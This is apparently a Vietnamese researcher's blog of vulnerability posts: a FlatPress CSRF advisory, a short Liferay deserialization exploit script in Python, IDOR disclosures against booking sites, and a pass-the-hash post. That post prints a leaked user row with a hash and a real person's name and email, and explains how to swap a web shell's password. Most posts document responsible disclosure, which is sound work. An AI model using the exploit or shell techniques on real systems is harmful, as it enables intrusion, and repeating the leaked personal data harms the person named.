Chủ Nhật, 19 tháng 4, 2020

[FUNNY][MINI0DAY] FLATPRESS-1.1-Cross-Site Request Forgery

    Today, the weather is good but due to the COVID-19 crisis I was at home. In that time, I have found a security issue of FLATPRESS.
    Cross-Site Request Forgery (CSRF) vulnerabilities found in FlatPress: FlatPress version 1.1 allow a malicious user to perform actions such as delete any file, folder, entry; disable plugin. (fp-plugins\mediamanager\tpls\admin.plugin.mediamanager.files.tpl....)


- Discovered: Trung Thanh Le.
- Published: 19/04/2020.
- Vendor and Product: FlatPress.  
- Version: 1.1.
- Solution: Add tokens anti-csrf.

Attack Vector / Criticality — High


    Through Cross-Site Request Forgery (SSRF) vulnerabilities, an attacker could take advantage of the application;s trust in legitimate users to create a malicious link of form that will be executed through them.

Paremeters / Vulnerable Resources

    In the source code, the DeleteFile, DeleteEntry, Disable Plugin, DeleteFolder function  is sent via unauthenticated GET method.


    The application does not have anti-csrf tokens, so it is vulnerable to Cross-site Request Forgery attacks. The vulnerability allows delete any file.

Proof Of concept


Wishing everyone healthy during the crisis.

Thứ Bảy, 7 tháng 12, 2019

[PoC] Liferay Poc by Me.

Lâu lâu không dev C# mệt mỏi quá using cả một đống thứ, add đủ loại dll, làm cái giao diện cũng mờ hết cả mắt. Thôi thì cuộc sống mà, up cái PoC liên quan đến Life vậy.



"Như một siêu sao người Thái Bình đã từng nói rằng: " Muốn ngồi ở một vị trí mà không ai ngồi được thì phải chịu những cảm giác mà không ai chịu được. "

My PoC:
import requests
url = input("URL:")
data = '\xAC\xED \x05sr .javax.management.BadAttributeValueExpException\xD4\xE7\xDA\xABc-F@\x02 \x01L \x03valt \x12Ljava/lang/Object;xr \x13java.lang.Exception\xD0\xFD\x1F>\x1A;\x1C\xC4\x02  xr \x13java.lang.Throwable\xD5\xC65\'9w\xB8\xCB\x03 \x04L \x05causet \x15Ljava/lang/Throwable;L \ndetailMessaget \x12Ljava/lang/String;[ \nstackTracet \x1E[Ljava/lang/StackTraceElement;L \x14suppressedExceptionst \x10Ljava/util/List;xpq ~ \bpur \x1E[Ljava.lang.StackTraceElement;\x02F*<<\xFD9\x02'
response = requests.post(url+"///api///liferay", data=data)
print ("Successful")

Thanks: https://sec.vnpt.vn/

Thứ Hai, 28 tháng 10, 2019

[FUNNY] CVE 2014-6271 PoC by me (Shellshock)

Dạo này bận bịu với việc exploit dạo và research dăm ba cái vui vui nhiều quá thành ra không có thời gian viết lung tung trên blog. :)
Hôm nay nhân dịp đi training cho một lớp khá cơ bản về viết PoC như thế nào, thành ra lục lọi lại cái code python từ mấy năm trước, mặc dù cái CVE 2014-6271 (hay có cái tên mĩ miều là shellshock) đã khá cũ nhưng mà tự thấy cái PoC của mình nhanh hơn ngồi set metasploit (ảo tưởng tí). :))
Và đây là thành phần chính:

Thứ Tư, 10 tháng 10, 2018

[PHÂN TÍCH] IDOR + LOGIC: easybooking, session chưa hoạt động hiệu quả?

Sau một năm blog không được quan tâm mình xin trở lại về một bài cũng về vấn đề cũ: "VÉ MÁY BAY".
Dạo quanh một vài trang trước đây cũng dính lỗ hổng này thì hiện tại đã được fix hết chỉ còn lại của easybooking.vn.
Sau quá trình đặt thử một vài chiếc vé và phân tích logic thì phát hiện được một số vấn đề sau:
1. Trong quá trình đặt vé và hoàn thiện có session nhưng session không có tác dụng.
- Với đường link: http://easybooking.vn/FlightBook/Finish?sessionId=KHz99kKkHUq357-sbcwwpQ&code=10034511, ta thu được kết quả:

- Với đường link: http://easybooking.vn/FlightBook/Finish?sessionId=KHz99kKkHUq357-sbcwwpQ&code=10034510, ta thu được kết quả:

2. Chú ý trong đường link đặt hàng có những thành phần: mã đơn hàng và email. Quay trở lại trang tra cứu vé, sau khi nhập mã đơn hàng và email, ta thu được toàn bộ nội dung đặt vé:


Time line:
- 1 ngày đẹp trời năm 2017: phát hiện lỗi.
- 14:00 07/10/2018: rảnh rỗi, check lại lỗi các site.
- 18:00 07/10/2018: báo cho trực bên easybooking.vn.
- 19:14 07/10/2018: kỹ thuật viên easybooking.vn gọi hỏi cụ thể lỗi.
- 10:00 08/10/2018: bên easybooking.vn đã được sửa.
- viết bài cảnh báo.
P.s: Một trường đại học lớn với rất nhiều các hoa hậu cũng đã từng dính lỗ hổng này. :v


Chủ Nhật, 7 tháng 10, 2018

Hành trình với PASGO - Phần 1

Chào mọi người hôm nay mình xin trình bày về lỗ hổng bảo mật liên quan đến phần xác thực người dùng và một số vấn đề râu ria khác. Chả là target này là của công ty bạn mình - một công ty tổng hợp bàn ăn và đặt bàn online, lượng khách hàng cũng khá lớn nó bao gồm cả nền tảng web và mobile app. Vì khá có hứng thú với chuyện ăn uống nên mình đặt quyết tâm target này trong 2 tuần.
1. Wireshark
Sau khi thử với website pasgo.vn không tìm được api của nó mình tiến hành thử với app android của pasgo cùng genymotion + wireshark (cách cài đặt các bạn có thể google nhé, ngoài ra còn có các công cụ để view khác như charles proxy ). Tiến hành đăng nhập và khởi động wireshark, bên wireshark mình bắt đầu thấy các request từ app, lọc theo http thu được các request dưới dạng đầy đủ từ login, tìm kiếm.
Wireshark 1
Sở dĩ thấy được là do khi gọi services các gói tin không được mã hóa nên ta thấy được các gói tin dưới dạng http đồng thời với đó là các thông tin dưới dạng clear-text. Các services ở đây mình thấy được như: login, getDanhmuc, ... đều có rõ request và response của nó. Tiếp đó mình đi vào nội dung từng request. Rõ ràng ở đó mọi thông tin đều ở dạng clear-text (rất nguy hiểm phải không nào, khi khách hàng dùng mạng LAN truy cập vào app sẽ bị ăn cắp thông tin tài khoản một cách dễ dàng), các bạn có thể thử với Ettercap. Đây là cũng là một lý do khuyên các bạn không nên truy cập các trang web có thông tin quan trọng khi sử dụng mạng công cộng.
Wireshark 2
Và ta đã có được đường dẫn các services của trang web.
2. Vấn đề Authentication của services
Việc đầu tiên là mình xem yếu tố xác thực của các services yêu cầu quyền người dùng. Công cụ test services như thường lệ là Postman, các thông số của request thì cứ nhìn bên wireshark là ra thôi. Sau khi thử các chức năng chính có yêu cầu quyền người dùng mình thấy các request này chỉ cần tham số là nguoidungId, bắt đầu rồi đây, ... tham số mà lập trình viên sử dụng ở đây là chuỗi 16 ký tự được sinh ra từ hàm sinh id trong C#. Chỉ cần nguoidungId thôi à, thế nếu mình dùng Id người khác để mượn quyền rồi đặt bàn đổi thông tin thì sao nhỉ. Vấn đề bây giờ là lấy nguoidungId không thể đoán được vì là hàm sinh từ server (chắc lập trình viên cũng chủ quan vì suy nghĩ này).
Lần theo các chức năng để xuất hiện các người dùng khác trong phần bình luận, kết quả trả về từ server có bao gồm cả Id của họ ^^. Lúc này mình thử sử dụng Id đó xem thông tin cá nhân và thực hiện thao tác khác thì quả thật mình đang sử dụng app trên danh nghĩa người đó rồi.
Postman 1
Thấy được lỗ hổng mình có email report cho bộ phận IT của pasgo và rất mừng bên đó phản hồi rất nhanh và nhiệt tình:
09:09, 25 thg 5, 2018: Email thông báo về lỗ hổng
09:28, 25 thg 5, 2018: Nhận được phản hồi từ pasgo và lỗ hổng đã được khắc phục ngay lập tức (bằng cách thêm token), rất chuyên nghiệp.
...tiếp tục trao đổi một số vấn đề khác.
Trên đây là bài viết của mình về vấn đề mã hóa request và xác thực người dùng. Mong các bạn ủng hộ và đón xem những phần tiếp theo.

Thứ Ba, 18 tháng 7, 2017

[PHÂN TÍCH + THẢO LUẬN] LÀM GÌ KHI CÓ MẬT KHẨU DẠNG HASH

DOCUMENT:
Link: https://www.sans.org/reading-room/whitepapers/testing/pass-the-hash-attacks-tools-mitigation-33283
Link: https://en.wikipedia.org/wiki/Pass_the_hash

PENTEST:
Đa số chúng ta khi vô tình hoặc cố tình có được Database của một hệ thống nào đó thì mật khẩu thường được lưu dưới dạng Hash mặc dù cũng gọi là không liên quan đến mấy cái link ở trên cho lắm. :v
Theo như The Reindeer nhận định thì thường chia làm 2 trường hợp:
1. Dữ liệu được hash trên Server:
Như các ví dụ trong link:
https://dev.mysql.com/doc/refman/5.5/en/encryption-functions.html
Dữ liệu được truyền vào dưới dạng text và được mã hóa trên Server.
Trong hình thức này thì mình sẽ sử dụng biện pháp Brute Force Hash. =.=
2. Dữ liệu được hash trên Client:

Thông qua các hàm hash trên Client.
Trong hình thức này attacker sẽ trực tiếp gửi giá trị hash lên server bằng cách loại bỏ hàm hash trong source.
Ví dụ:
Với shell b374k khi tải trên mạng về và không biết mật khẩu của shell.
Xem source ta thấy đoạn:
$GLOBALS['pass'] = "fb621f5060b9f65acf8eb4232e3024140dea2b34"; // sha1(md5(pass))

$your_pass = sha1(md5($p['pass']));

Với dòng 1 ta có thể chèn lại hash của mình vào. -- Done.
Với dòng 2 khi sửa lại thành: $your_pass = $p['pass']; thì mật khẩu sẽ được lưu dưới dạng text nguyên bản.

Ví dụ:
Với azshop.net.vn
Sau một thời gian nghịch ngợm ta thu được.
Mật username và mật khẩu lưu dưới dạng Hash:
('5', 'huy.nd', 'a99442d2a736365f5fe637e299b0e339', 'Nguy?n ??c Huy', 'huy.nd@azshop.net.vn', '2015-11-26 13:11:28', '2017-03-27 15:28:03', '1', '3');



Tìm kiếm trang đăng nhập


Source trang đăng nhập


Source jquery 1.10.2



Đăng nhập


Đăng nhập

KỊCH BẢN TẤN CÔNG:
- Lấy mật khẩu admin.
- Upshell từ đó tiến hành tấn công local attack.
BIỆN PHÁP KHẮC PHỤC:
- Tránh Brute Force mật khẩu bằng cách sử dụng mật khẩu với độ bảo mật cao.
- Tránh lộ lột Database bằng cách phân quyền hợp lý.
- Nên hash mật khẩu trên server.
TIMELINE:
- 15:00 25/06/2017 - Phát hiện lỗi trên azshop.net.vn
- 15:30 27/06/2017 - Thông báo cho azshop.net.vn
- xx:xx  18/07/2017 - Fixed.